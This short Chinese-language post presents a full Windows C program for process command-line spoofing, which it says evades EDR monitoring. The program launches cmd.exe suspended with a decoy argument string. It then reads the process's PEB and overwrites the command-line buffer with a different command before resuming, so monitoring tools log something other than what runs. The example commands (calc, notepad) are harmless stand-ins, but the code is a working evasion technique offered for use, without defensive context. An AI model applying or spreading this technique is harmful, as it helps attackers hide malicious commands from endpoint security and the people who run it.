这招可以用来bypass一些EDR监控创建进程时的命令行参数。
例如创建cmd进程时指定的参数是 wmic xxxx
但其实真实执行的是其他命令,powershell同理
#include "stdafx.h"
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(WINAPI *_NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
int main()
{
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};
CreateProcessA(NULL, "c:\\windows\\system32\\cmd.exe /c calc.exe", NULL, NULL, NULL, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)::GetProcAddress(
LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi = { 0 };
NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
PEB peb = { 0 };
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 备份原命令行
WCHAR szString[0x200] = {};
DWORD oldSize = Param.CommandLine.Length;
ReadProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szString, Param.CommandLine.Length*2, NULL);
// 写入要执行的命令行
WCHAR *szStringWrite = L"c:\\windows\\system32\\cmd.exe /c notepad.exe";
WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringWrite, (wcslen(szStringWrite) + 1) * 2, NULL);
ResumeThread(pi.hThread);
return 0;
}